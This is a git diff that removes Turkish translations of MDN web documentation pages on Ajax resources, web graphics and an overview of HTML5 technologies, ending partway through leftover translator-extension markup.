title="http://www.contentwithstyle.co.uk/content/fixing-the-back-button-and-enabling-bookmarking-for-ajax-apps/">Fixing the Back Button and Enabling Bookmarking for Ajax Apps</a></dt> - <dd>Mike Stenhouse has penned this article, detailing some methods you can use to fix back button and bookmarking issues when developing Ajax applications.</dd> - <dt><a href="http://alexbosworth.backpackit.com/pub/67688">Ajax Mistakes</a></dt> - <dd>Alex Bosworth has written this article outlining some of the mistakes Ajax application developers can make.</dd> - <dt><a href="http://www.xul.fr/en-xml-ajax.html">Tutorial</a> with examples.</dt> - <dd></dd> - <dt><a href="http://www.w3.org/TR/XMLHttpRequest/">XMLHttpRequest specification</a></dt> - <dd>W3C Working draft</dd> -</dl> -</div> - -<div class="section"> -<h2 class="Community" id="Community">Community</h2> - -<ul> - <li>View Mozilla forums...</li> -</ul> - -<div>{{ DiscussionList("dev-ajax", "mozilla.dev.ajax") }}</div> - -<ul> - <li><a href="/en-US/docs/AJAX/Community" title="en-US/docs/AJAX/Community">Ajax community links</a></li> -</ul> - -<h2 class="Tools" id="Tools">Tools</h2> - -<ul> - <li><a href="http://www.ajaxprojects.com">Toolkits and frameworks</a></li> - <li><a href="http://www.getfirebug.com/">Firebug - Ajax/Web development tool</a></li> - <li><a href="http://blog.monstuff.com/archives/000252.html">AJAX Debugging Tool</a></li> - <li><a href="http://www.osflash.org/doku.php?id=flashjs">Flash/AJAX Integration Kit</a></li> - <li><a href="http://xkr.us/code/javascript/XHConn/">A Simple XMLHTTP Interface Library</a></li> -</ul> - -<p><span class="alllinks"><a href="/en-US/docs/AJAX:Tools" title="en-US/docs/AJAX:Tools">View All...</a></span></p> - -<h2 id="Examples">Examples</h2> - -<ul> - <li><a href="http://www.dhtmlgoodies.com/index.html?whichScript=ajax-poller">Ajax poller script</a></li> - <li><a href="http://www.ajaxprojects.com/ajax/tutorialdetails.php?itemid=9">Ajax Chat Tutorial</a></li> - <li><a href="http://www.ajaxprojects.com/ajax/tutorialdetails.php?itemid=13">RSS Ticker with A</a>jax</li> - <li><a href="http://www.jamesdam.com/ajax_login/login.html#login">Ajax Login System using XMLHttpRequest</a></li> - <li><a href="http://www.thinkvitamin.com/features/ajax/create-your-own-ajax-effects">Create your own Ajax effects</a></li> - <li><a href="http://codinginparadise.org/weblog/2005/08/ajax-creating-huge-bookmarklets.html">Ajax: Creating Huge Bookmarklets</a></li> - <li><a href="http://www.hotajax.org">Ajax: Hot!Ajax There are many cool examples</a></li> -</ul> - -<h2 class="Related_Topics" id="Related_Topics">Related Topics</h2> - -<p><a href="/en-US/docs/HTML" title="en-US/docs/HTML">HTML</a>, <a href="/en-US/docs/XHTML" title="en-US/docs/XHTML">XHTML</a>, <a href="/en-US/docs/CSS" title="en-US/docs/CSS">CSS</a>, <a href="/en-US/docs/DOM" title="en-US/docs/DOM">DOM</a>, <a href="/en-US/docs/JavaScript" title="en-US/docs/JavaScript">JavaScript</a>, <a href="/en-US/docs/XML" title="en-US/docs/XML">XML</a>, <a href="/en-US/docs/nsIXMLHttpRequest" title="en-US/docs/XMLHttpRequest">XMLHttpRequest</a>, <a href="/en-US/docs/XSLT" title="en-US/docs/XSLT">XSLT</a>, <a href="/en-US/docs/DHTML" title="en-US/docs/DHTML">DHTML</a>, <a href="/en-US/docs/JavaScript/Same_origin_policy_for_JavaScript" title="en-US/docs/JavaScript/Same_origin_policy_for_JavaScript">Same Origin Policy</a></p> -</div> -</div> - -<p>{{ListSubpages}}</p> diff --git a/files/tr/web/guide/graphics/index.html b/files/tr/web/guide/graphics/index.html deleted file mode 100644 index 52179a8951..0000000000 --- a/files/tr/web/guide/graphics/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Web Çizgeleri -slug: Web/Guide/Graphics -tags: - - 2B - - 3B - - Canvas - - Gerçek Zamanlı İletişim - - HTML5 - - SVG - - Tuval - - Web Grafik - - Web Çizgeleri - - WebGL - - WebRTC - - Çizge - - Ölçeklenebilir Görüntü -translation_of: Web/Guide/Graphics -original_slug: Web/Guide/Çizgeler ---- -<p><span class="seoSummary">Web siteleri ve uygulamaların bazen çizge göstermeleri gerekir.Durağan görseller {{HTMLElement("img")}} ögesi kullanılarak kolayca gösterilebilir, ya da ögenin ardalan görseli CSS {{cssxref("background-image")}} özelliğiyle belirlenebilir.</span> Oluşturulmuş çizgelerin üzerinde de anlık oynamalar yapabilirsiniz. <span class="seoSummary">Buradaki gönderiler sizler bunları nasıl yapacağınızı anlatır.</span></p> - -<div class="row topicpage-table"> -<div class="section"> -<h2 class="Documentation" id="2B_Çizgeler">2B Çizgeler</h2> - -<dl> - <dt><a href="/tr/docs/Web/API/Tuval_Arabirimi">Canvas(Tuval)</a></dt> - <dd>{{HTMLElement("canvas")}} adlı HTML ögesi JavaScript ile 2 Boyutlu çizgeler oluşturabilmeniz için arabirim sunar.</dd> - <dt><a href="/en-US/docs/Web/SVG">SVG</a></dt> - <dd>Scalable Vector Graphics (Ölçeklenebilir Vektör Çizgeleri); çizge işlemeniz için, çizgi, kıvrım, dikdörtgen gibi geometrik biçimleri kullanabilmenizi sağlar. Vektörel çizim ile herhangi bir ölçekte temiz görüntüler elde edebilirsiniz.</dd> -</dl> - -<p><span class="alllinks"><a href="/en-US/docs/tag/Graphics">Tümünü Görüntüle...</a></span></p> -</div> - -<div class="section"> -<h2 class="Documentation" id="3B_Çizgeler">3B Çizgeler</h2> - -<dl> - <dt><a href="/en-US/docs/Web/WebGL">WebGL</a></dt> - <dd>Web'in 3 Boyutlu çizge arabirimi WEBGL'e başlamak için bir kılavuz. Bu uygu(teknoloji) web üzerinde OpenGL kullanmanıza olanak tanır.</dd> -</dl> - -<h2 id="Video">Video</h2> - -<dl> - <dt><a href="/en-US/docs/Web/Guide/HTML/Using_HTML5_audio_and_video">HTML5 izleti ve sesleri kullanmak</a></dt> - <dd>Bir web sayfasına izleti ya da ses gömüp oynatımını denetlemek.</dd> - <dt><a href="/en-US/docs/WebRTC">WebRTC</a></dt> - <dd>WebRTC'deki RTC Gerçek Zamanlı İletişim anlamına gelir. Bu uygu(teknoloji) tarayıcı istemcileri arasında anlık olarak görüntü ve ses akışına ve veri paylaşımına olanak tanır.</dd> -</dl> -</div> -</div> diff --git a/files/tr/web/guide/html/html5/index.html b/files/tr/web/guide/html/html5/index.html deleted file mode 100644 index c59a8bd86f..0000000000 --- a/files/tr/web/guide/html/html5/index.html +++ /dev/null @@ -1,255 +0,0 @@ ---- -title: HTML5 -slug: Web/Guide/HTML/HTML5 -tags: - - HTML - - HTML5 - - html kaynak - - html5 firefox - - html5 kaynak - - html5 komutlar - - html5 mozilla - - html5 nedir - - html5 türkçe - - html5 türkçe açıklama - - web geliştirici -translation_of: Web/Guide/HTML/HTML5 -original_slug: Web/HTML/HTML5 ---- -<p><span class="seoSummary"><strong>HTML5</strong> , html standartlarının son halidir. Anlam olarak iki farklı kavramı temsil eder:</span></p> - -<ul> - <li>Yeni elemanları, özellikleri ve davranışları içeren bir HTML sürümünü,</li> - <li>Çok güçlü ve farklı Web siteleri ve uygulamalarını kapsayan çok büyük bir teknoloji kümesini ki HTML5 olarak kısaltılmış olup HTML5 ve elemanları diye bilinir.</li> -</ul> - -<p>Tüm web geliştiriciler için kullanılabilir olmasına yönelik tasarlanmış olup; bu referans sayfası, fonksiyonlarına göre çeşitli sınıflara ayrılmış HTML5 teknolojileri hakkında bağlantıları barındırır, bunlar:</p> - -<ul> - <li><em><strong>Semantics (Kurgulama Durumu)</strong></em><strong>:</strong> İçeriğinizi daha iyi tanımlamanıza<strong>,</strong></li> - <li><strong><em>Connectivity (Bağlantı Durumu)</em>:</strong> Sunucuya yeni ve yenilikçi yollarla bağlanmanıza,</li> - <li><strong><em>Offline & Storage (Çevrimdışılık ve Depolama Durumu)</em>:</strong> Web sayfalarının yerel sunucuda veri depolamasına ve çevrimdişı daha verimli kullanılmasına,</li> - <li><em><strong>Multimedia (Çoklumedya)</strong></em><strong>:</strong> Open Web ile 1. sınıf programcılar, video ve ses üretmesine, </li> - <li><em><strong>2D/3D Graphics & Effects (2 ve 3 Boyutlu Grafik ve Efekler)</strong></em><strong>:</strong> <br> - Daha fazla ve çeşitli boyuttaki sunum seçeneklerine, </li> - <li><em><strong>Performance & Integration (Performans ve Entegre Etme)</strong></em><strong>:</strong> Bilgisayar donanımının daha iyi kullanılmasına ve daha büyük hızlara çıkılabilmesine, </li> - <li><em><strong>Device access (Sürücülere Ulaşma)</strong></em><strong>:</strong> Çeşitli giriş ve çıkış sürücülerinin kullanılmasına, </li> - <li><strong><em>S<strong>tyling (Şekillendirme)</strong></em><strong>:</strong></strong> Web tasarımcılarının, daha görkemli temelara hükmetmesine imkan tanır.<br> - </li> -</ul> - -<div class="cleared row topicpage-table"> -<div class="section"> -<h2 id="semantik_Kurgulama" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3827/HTML5_Semantics_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">semantik (Kurgulama)</h2> - -<dl> - <dt><a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">HTML5 Bölüm ve Anahatlar</a></dt> - <dd>HTML5 bölüm ve anahatlarını belirleyen {{ HTMLElement("section") }}, {{ HTMLElement("article") }}, {{ HTMLElement("nav") }}, {{ HTMLElement("header") }}, {{ HTMLElement("footer") }}, {{ HTMLElement("aside") }} ve {{ HTMLElement("hgroup") }} adlı yeni HTML5 elemanlarına bakış.</dd> - <dt><a href="/en-US/docs/Using_HTML5_audio_and_video" title="Using_audio_and_video_in_Firefox">HTML5 Video ve Ses Elemanlarının Kullanılması</a> </dt> - <dd>{{ HTMLElement("audio") }} ve {{ HTMLElement("video") }} elemanlarının yerleştirilmesi ve yeni multimedya içeriğinin şekilllendirilmesi.</dd> - <dt><a href="/en-US/docs/HTML/Forms_in_HTML" title="Forms in HTML5">HTML5 Formlar</a></dt> - <dd>API doğrulamayla kısıtlanmış yeni özellikler, {{ HTMLElement("input") }} kullanım tipi (English: {{ htmlattrxref("type", "input") }}) için yeni değerler ve yeni bir {{ HTMLElement("output") }} elemanı için HTML5' de web formlarındaki iyileştirmelere bir bakış.</dd> - <dt>Yeni Kurgu (Semantic) Elemanları</dt> - <dd>Bölümlerin, medya ve form elemanlarının yanında {{ HTMLElement("mark") }}, {{ HTMLElement("figure") }}, {{ HTMLElement("figcaption") }}, {{ HTMLElement("data") }}, {{ HTMLElement("time") }}, {{ HTMLElement("output") }}, {{ HTMLElement("progress") }} veya {{ HTMLElement("meter") }}, {{HTMLElement("main")}} gibi <a href="/en-US/docs/HTML/HTML5/HTML5_element_list" title="/en-US/docs/HTML/HTML5/HTML5_element_list">geçerli HTML5 elemanları</a> içerisine dahil edilen yeni birçok eleman vardır.</dd> - <dt>{{HTMLElement("iframe")}} İyileştirmesi</dt> - <dd>Şimdi {{htmlattrxref("sandbox", "iframe")}}, {{htmlattrxref("seamless", "iframe")}} ve {{htmlattrxref("srcdoc", "iframe") }} komutlarının kullanılmasıyla artık programcılar güvenlik düzeyi ve bir {{HTMLElement("iframe")}} elementi için umulan iyi renderi oluşturma konusunda emin olabilirler. </dd> - <dt> <a href="/en-US/docs/MathML" title="/en-US/docs/MathML">MathML</a> </dt> - <dd>Direkt matematiksel formülleri embed etmeye (gömmeye) imkan verir.</dd> - <dt><a href="/en-US/docs/HTML/HTML5/Introduction_to_HTML5" title="/en-US/docs/HTML/HTML5/Introduction_to_HTML5">HTML5' e Giriş</a></dt> - <dd>Bu makale, web dizayn ve web uygulamalarınızda kullandığınız HTML5' in tarayıcılarda (browser) nasıl şekillendirileceğini açıklar.</dd> - <dt><a href="/en-US/docs/HTML/HTML5/HTML5_Parser" title="HTML/HTML5/HTML5 parser">HTML5 -Compliant Parser</a> (HTML5 - Uyumlu Ayrıştırıcılar) </dt> - <dd>Bir HTML dökümanının DOM (İngilizce: Document Object Model yani Dökümanın Nesnesel Modeli) baytlarını döndüren ayrıştırıcı, şimdi geçersiz HTML ile karşı karşıya kalındığı taktirde bile genişletilmiş ve tam olarak her durumdaki davranışı tanımlayabilmektedir.</dd> -</dl> - -<h2 id="CONNECTİVİTY_BAğlanılabilirlik" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3839/HTML5_Connectivity_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">CONNECTİVİTY (BAğlanılabilirlik)</h2> - -<dl> - <dt><a href="/en-US/docs/WebSockets" title="WebSockets">Web Soketleri</a></dt> - <dd>Sayfa ve sunucu arasında kalıcı bağlantı kurulmasına ve bilinen HTML tarzına uymayan veri alışverişini de sağlar.</dd> - <dt><a href="/en-US/docs/Server-sent_events/Using_server-sent_events" title="/en-US/docs/Server-sent_events/Using_server-sent_events">Sunucu - Gönderim Olayları</a></dt> - <dd>Sunucunun yanlızca istemcinin beklentilerine yanıt olarak gönderebileceği klasikleşmiş verilerden ziyade, sunucuya istemci için olayları daha da öteleme imkanı tanır.</dd> - <dt><a href="/en-US/docs/WebRTC" title="/en-US/WebRTC">WebRTC</a> (Real-Time Communication) </dt> - <dd>Bu teknoloji, bir eklenti ve bir harici uygulamaya gerek duymaksızın, diğer kişilerle iletişime ve direkt tarayıcı içinde video konferans kontrolüne imkan tanıyan, gerçek zamanlı iletişim diğer adıyla<br> - RTC (Real-Time Communication) olarak hizmet verir.</dd> -</dl> - -<h2 id="OFFLİNE_STORAGE_çevrimdışılık_ve_depolama" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3833/HTML5_Offline_Storage_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">OFFLİNE & STORAGE (çevrimdışılık ve depolama)</h2> - -<dl> - <dt><a href="/en-US/docs/HTML/Using_the_application_cache" title="Offline_resources_in_Firefox">Çevrim Dışı Kaynaklar: Uygulama Önbelleği</a></dt> - <dd>Firefox tümüyle çevrimdışı HTML5 kaynak özelliğini desteklediği gibi çevrimdışı diğer birçok kaynak desteği bulunmaktadır.</dd> - <dt><a href="/en-US/docs/Online_and_offline_events" title="Online_and_offline_events">Çevrimiçi ve Çevrimdışı Olaylar</a></dt> - <dd>Firefox 3, bağlantının bittiğinin yahut devam ettiğinin tespiti kadar etkili bir şekilde uygulama ve eklentilere, aktif internet bağlantısının olup olmadığını tespit edebilecekleri çevrimiçi ve çevrimdışı WHATWG yani Web Hypertext Aplication Tecnology Working Group<br> - ( Web Köprü Uygulamaları Teknoloji Gurubu) olaylarını (events) destekler.</dd> - <dt><a href="/en-US/docs/DOM/Storage" title="DOM/Storage">WHATWG İstemci Oturumu ve Kalıcı Depolama (aka DOM Depolama)</a></dt> - <dd>İstemci atarafı oturumunda ve kalıcı depolamada, web uygulamalarına istemci tarafında veri depolayabilmelerine izin verir.</dd> - <dt><a href="/en-US/docs/IndexedDB" title="/en-US/docs/IndexedDB">IndexedDB</a> (İndexlenmiş Veri Tabanı)</dt> - <dd>Tarayıcıda önemli miktarda yapılandırılmış verinin depolanması ve bu veri indeksini kullanarak yüksek performanslı erişimin sağlanabileceği bir weeb standardıdır.</dd> - <dt><a href="/en-US/docs/Using_files_from_web_applications" title="Using_files_from_web_applications">Web Uygulamalarında Dosyaların Kullanılması</a></dt> - <dd>Dosya API desteğinin yeni HTML5 için gecko'ya eklenmesi web uygulamalrı için kullanıcının seçtiği yerel dosyalara ulaşmasının mümkün kılmıştır. Bu içerik HTML elemanlarının çoklu ve yeni özelliklerle {{ HTMLElement("input") }} şeklinin (<a href="https://developer.mozilla.org/en-US/docs/HTML/Element/Input#attr-type" title="HTML/Element/input#attr-type"><strong>type</strong></a>) kullanılarak çoklu dosya seçilmesini destekler. O da FileReader<br> - (Dosya okuyucu) olarak bilinir. </dd> -</dl> - -<p> </p> - -<h2 id="MULTIMEDIA_çoklu_ortam" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3835/HTML5_Multimedia_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">MULTIMEDIA (çoklu ortam)</h2> - -<dl> - <dt><a href="/en-US/docs/Using_HTML5_audio_and_video" title="Using_audio_and_video_in_Firefox">HTML5 Ses ve Videonun Kullanılması</a></dt> - <dd>HTML5 için {{ HTMLElement("audio") }} ve {{ HTMLElement("video") }} elemanları gömülebilir ve yeni multimedya içeriğinin üzerinde manipülasyon yapılabilmesine izin verir.</dd> -</dl> - -<dl> - <dt><a href="/en-US/docs/WebRTC" title="/en-US/WebRTC">WebRTC</a></dt> - <dd>RTC (Real Time Communication) "Gerçek zamanlı iletişim" olarak sunulan bu teknoloji, eklenti ve harici uygulamaya gerek duymaksızın diğer kişilerle direkt olarak iletişime ve tarayıcı içinde video konferansın kontrol edilmesine imkan verir.</dd> - <dt><a href="/en-US/docs/DOM/Using_the_Camera_API" style="font-weight: bold;" title="/en-US/docs/DOM/Using_the_Camera_API">Kamera API Kullanımı</a><strong style="font-weight: bold;"> </strong></dt> - <dd><a href="http://sosyalmedya.co/api-nedir/">API Nedir</a>: İngilizce <strong>Aplication Programming Interface </strong> kelimelerinin kısaltılmış hali olup anlam olarak, "Uygulamaları programlamak için kullanılan arayüz." manasına karşılık gelir.<br> - <br> - Bu API sayesinde bilgisayar kamerasından bir görüntü alınabilir ve üzerinde değişiklik yapılabilir.</dd> - <dt>Traklar ve WebVTT</dt> - <dd>WebVTT demek Web Video Text Tracks yani Webdeki videoların yazı formudur. {{HTMLElement("track")}} elemanı videolarda altyazı ve bölümlere izin verir. <a href="https://developer.mozilla.org/en-US/docs/HTML/WebVTT" title="HTML/WebVTT">WebVTT</a> bir yazı formatıdır.</dd> -</dl> - -<h2 id="sect1" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"> </h2> - -<h2 id="3d_ÜÇ_BOYUTLU_grafikler_ve_efektler" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3841/HTML5_3D_Effects_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">3d (ÜÇ BOYUTLU) grafikler ve efektler</h2> - -<dl> - <dt><a href="/en-US/docs/Canvas_tutorial" title="Canvas tutorial">Canvas Elemanının Kullanımına Örnekler</a></dt> - <dd>Firefox' da yeni {{ HTMLElement("canvas") }} elemanı, nesneleri ve diğer grafikleri nasıl çizer öğrenin.</dd> - <dt><a href="/en-US/docs/Drawing_text_using_a_canvas" title="Drawing_text_using_a_canvas"><code><canvas></code> elemanı için HTML5 Yazı API' leri</a> </dt> - <dd>Artık HTML5 yazı API' lerini {{ HTMLElement("canvas") }} elemanı tarafından desteklenmektedir.</dd> - <dt><a href="/en-US/docs/WebGL" title="WebGL">WebGL</a> (Web Graphic Library)</dt> - <dd>WebGL, Web Grafik Kütüphanesi anlamındadır. WebGL, web platformuna, HTML5 {{ HTMLElement("canvas") }} elemanları içinde kullanılabilecek OpenGL ES 2.0 ile yakından uyumlu bir API sunarak, Üç boyutlu grafik kullanım imkanı sunmuştur.</dd> - <dt><a href="/en-US/docs/SVG" title="/en-US/docs/SVG">SVG</a> (Scalable Vector Graphics)</dt> - <dd>Doğrudan HTML içine gömülebilecek vektörel görüntülerin XML tabanlı şeklidir.</dd> -</dl> -</div> - -<div class="section"> -<h2 id="performans_ve_entegrasyon" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3831/HTML5_Performance_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">performans ve entegrasyon</h2> - -<dl> - <dt><a href="/en-US/docs/DOM/Using_web_workers" title="Using web workers">Webte Çalışanlar</a></dt> - <dd>İnteraktif olayları yavaşlatan arkaplan örgüsünün önüne geçmek için javascript kodlama kümesine izin verir.</dd> - <dd><code>2.Seviye <a href="/en-US/docs/DOM/XMLHttpRequest" title="XMLHttpRequest">XMLHttpRequest</a></code><br> - Sayfanın bazı bölümlerinden, zaman bağlı kalmadan bilgi çekmek mümkündür. Bu da değişken olan zaman ve kullanıcı eylemlerine göre dinamik içeriği görüntülemeye imkan verir. Bu <a href="/en-US/docs/AJAX" title="/en-US/docs/AJAX">Ajax</a><br> - arkasındaki teknolojidir.</dd> - <dt>JavaScript Motorunun Anında Derlenmesi ( JIT-Compiling ) </dt> - <dd>Yeni nesil javascript motorları JIT (Just in Time) ile büyük performansa imkan verecek derecede çok güçlüdür.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/DOM/Manipulating_the_browser_history" title="https://developer.mozilla.org/en-US/docs/DOM/Manipulating_the_browser_history"> Tarayıcı Geçmiş Bilgisi API' si</a></dt> - <dd>Tarayıcının belleğinde kalmış bilgiler üzerinde manipülasyon yapmaya imkan verir. Bu özellikle web sayfaları için etkileşimli bilgileri yüklemek için yararlıdır.</dd> - <dt><a href="/en-US/docs/HTML/Content_Editable" title="HTML/Content Editable">contentEditable </a>elemanı:Web Sitenizi Bir Wiki Kaynağına Dönüştürme</dt> - <dd>HTML5, contentEditable özelliğini standart hale getirmiştir. Bu yenilik hakkında daha fazla bilgi edinin.</dd> - <dt><a href="/en-US/docs/DragDrop/Drag_and_Drop" title="DragDrop/Drag_and_Drop">Drag ve Drop</a> (Sürükle-Bırak) Özelliği </dt> - <dd>HTML5, sürükle-bırak özelliği web siteleri içi ve web sayfaları arasında öğeleri sürükleme özelliğini destekler. Bu aynı zamanda daha basit API' lerin uzantılar ve mozilla tabanlı uygulamalar için kullanılabilmesini sağlar.</dd> - <dt><a href="/en-US/docs/Focus_management_in_HTML" title="Focus_management_in_HTML">HTML Focus Yönetimi </a>(Odaklama)</dt> - <dd>Yeni HTML5, <strong><code>activeElement</code></strong> ve <strong><code>hasFocus()</code></strong> özelliklerini desteklemektedir.</dd> - <dt><a href="/en-US/docs/Web-based_protocol_handlers" title="Web-based_protocol_handlers">Web Tabanlı Protokol İşleyicileri</a></dt> - <dd>Şimdi web uygulamalarını,<br> - <code><strong>navigator.registerProtocolHandler()</strong></code><br> - metodunu kullanarak protokol işleyicisi olarak kaydedebilirsiniz.</dd> - <dt><a href="/en-US/docs/DOM/window.requestAnimationFrame" title="/en-US/docs/DOM/window.requestAnimationFrame"><code>requestAnimationFrame</code></a></dt> - <dd>En iyi performansı almak için animasyonların render kontrolüne imkan tanır.</dd> - <dt><a href="/en-US/docs/DOM/Using_full-screen_mode" title="/en-US/docs/DOM/Using_full-screen_mode">Tam Ekran API'si</a></dt> - <dd>Tarayıcı UI (User Interface) yani kullanıcı arabirimi olmaksızın bir web sayfası yahut uygulama için ekranın bütününü denetler.</dd> - <dt><a href="/en-US/docs/API/Pointer_Lock_API" title="/en-US/docs/API/Pointer_Lock_API">İşaretçi Kilitlenme (Lock) API' si</a></dt> - <dd>İşaretçinin pencere sınırını aşabileceği durumlarda, çoğu oyun ve benzeri uygulamaların bütünlüğünü kaybetmemesi için işaretçinin web sayfasının içeriğine kilitlenmesine (Ya kısıtlanmasına yahut hareketinin sınırlandırılmasına) imkan verir.</dd> - <dt><a href="/en-US/docs/Online_and_offline_events" title="/en-US/docs/Online_and_offline_events">Çevrimiçi ve Çevrimdışı Olaylar</a></dt> - <dd>Çevrimdışı özelliği barındıran iyi bir web uygulaması oluşturabilmeniz için uygulamanın ne zaman çevrimdışı olduğunu bunun yanında uygulamanızın ne zaman tekrar çevrim içi duruma döndüğünü bilmeniz gerekir.</dd> -</dl> - -<h2 id="cihaz_erişimi" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3837/HTML5_Device_Access_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">cihaz erişimi</h2> - -<dl> - <dt><a href="/en-US/docs/DOM/Using_the_Camera_API" title="/en-US/docs/DOM/Using_the_Camera_API"> Kamera API'sinin Kullanımı</a></dt> - <dd>Bilgisayarınızın kamerasından bir resim yada bir video yakalayıp üzerinde değişiklik yapmaya ve bunları depolayabilemeye imkan tanır.</dd> - <dt><a href="/en-US/docs/DOM/Touch_events" title="/en-US/docs/DOM/Touch_events">Dokunmatik Olaylar</a></dt> - <dd>Dokunmatik ekrana basarak kullanıcılar, bir başkası tarafından oluşturulan olaylara yanıt verebilirler.</dd> - <dt><a href="/en-US/docs/Using_geolocation" title="Using geolocation">Konum Bilgisinin (GeoLocation) Kullanılması</a></dt> - <dd>Tarayıcılara kullanıcının konum bilgisini kullanarak yerinin belirlenmesi imkanını verir.</dd> - <dt><a href="/en-US/docs/Detecting_device_orientation" title="/en-US/docs/Detecting_device_orientation">Cihaz Yönünü Saptama</a></dt> - <dd>Cihazın çalıştığı tarayıcıyla ilgili yön değişiklikleri hakkında bilgi alınabilir. Bu bir giriş cihazı olarak (örneğin cihazın yer değiştirmesine bağlı oyunlar yapmak) veya ekranın yönünün sayfanın düzenine bağlı olarak (yatay ve dikey) olarak adapte edilebilmesi için kullanışlıdır.</dd> - <dt><a href="/en-US/docs/API/Pointer_Lock_API" title="/en-US/docs/API/Pointer_Lock_API">İşaretçi (Kilitleme-Sabitleme) API'si</a></dt> - <dd>İşaretçi ekranın dışına ulaştığında birçok oyun ve benzeri uygulamaların merkezinin kaybolmaması amacıyla işaretçinin içerik için sabitlenmesine olanak verir.</dd> -</dl> - -<h2 id="Stİller" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3829/HTML5_Styling_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Stİller</h2> - -<p><a href="/en-US/docs/CSS" title="/en-US/docs/CSS">CSS</a> çok kopleks yollarla elemanları şekillendirmek için genişletilmiştir. <a href="/en-US/docs/CSS/CSS3" title="/en-US/docs/CSS/CSS3">CSS3</a> olarak önerilmiştir ki CSS3 artık farklı modülleri içinde barındıran kalıplaşmış bir 3. CSS versiyonu olarak bilinmez; <br> - 1. versiyon ve 4. versiyona kadar bütün şekillendirme komutlarını bünyesinde toplamıştır.</p> - -<dl> - <dt>Yeni Arkaplan Stil Özellikleri</dt> - <dd>{{ cssxref("box-shadow") }} komutuyla bir kutuya gölge efekti vermek ve <a href="/en-US/docs/CSS/Multiple_backgrounds" title="/en-US/docs/CSS/Multiple_backgrounds">çoklu arkaplan</a> ayarlamaya izin vermiştir.</dd> - <dt>Daha Süslü Çerçeveler</dt> - <dd>Sadece {{ cssxref("border-image") }} ve bunlara ait kişisel tercihler çerçeve şekillendirilmesinde kullanılmamaktadır.<br> - {{ cssxref("border-radius") }} özelliği sayesinde çerçeveleri ovalleştirmek de mümkündür.</dd> - <dt>Stillerinizin Animasyonlaştırılması</dt> - <dd>Farklı konumlar arasında hiçbir tetikleyici olmadan yahut sayfanın bir bölümünde <a href="/en-US/docs/CSS/Using_CSS_animations" title="/en-US/docs/CSS/Using_CSS_animations">CSS animasyonları</a> kullanarak animasyon yapmada <a href="/en-US/docs/CSS/Using_CSS_transitions" title="/en-US/docs/CSS/Using_CSS_transitions">CSS Transitions</a> (CSS Geçiş Efekleri) kullanılmaktadır. Şimdi Mobil elemanlarını da sayfanızda kontrol edebilirsiniz </dd> - <dt>Tipoğrafi İyileştirmeleri</dt> - <dd>Web tasarımcıları mükemmel tipoğrafiye (Ekrana Basma) ulaşmak için güçlü kontrole sahip olurlar. Bu kontroller için {{ cssxref("text-overflow") }} ve <a href="/en-US/docs/CSS/hyphens" title="/en-US/docs/CSS/hyphens">hyphenation</a>, <a href="/en-US/docs/CSS/text-shadow" title="/en-US/docs/CSS/text-shadow">shadow</a> (gölge) ekleyerek veya daha detaylı şekillendirmelerde <a href="/en-US/docs/CSS/text-decoration" title="/en-US/docs/SVG/Attribute/text-decoration">decorations</a> (şekillendirme) komutlarını kullanabilirler. Bu iyileştirme varsayılan yazı tiplerini içerir bu na da {{ cssxref("@font-face") }} kurallar topluluğuyla imkan tanır. </dd> - <dt>Yeni Sunum Düzenleri</dt> - <dd>Tasarım etkinliğini arttırmak için, <a href="/en-US/docs/CSS/Using_CSS_multi-column_layouts" title="/en-US/docs/CSS/Using_CSS_multi-column_layouts">CSS multi-column layout</a> <br> - (CSS Çoklu Satır Düzenleri) ve <a href="/en-US/docs/CSS/Flexbox" title="/en-US/docs/CSS/Flexbox">CSS flexible box layout</a> (CSS Esnek Kutu Düzenleri) adında iki yeni düzenleme <a href="https://indonesianlanguagetranslator.com/our-services/">eklendi</a>.</dd> -</dl> -</div> -</div> - -<p> </p> - -<div> -<div class="ImTranslatorLogo" id="SL_button" class="hidden"> </div> - -<div id="SL_shadow_translation_result2" class="hidden"> </div> - -<div id="SL_shadow_translator"> -<div id="SL_planshet" style="background: rgb(244, 245, 245);"> -<div id="SL_TB"> -<div class="ImTranslatorLogo" 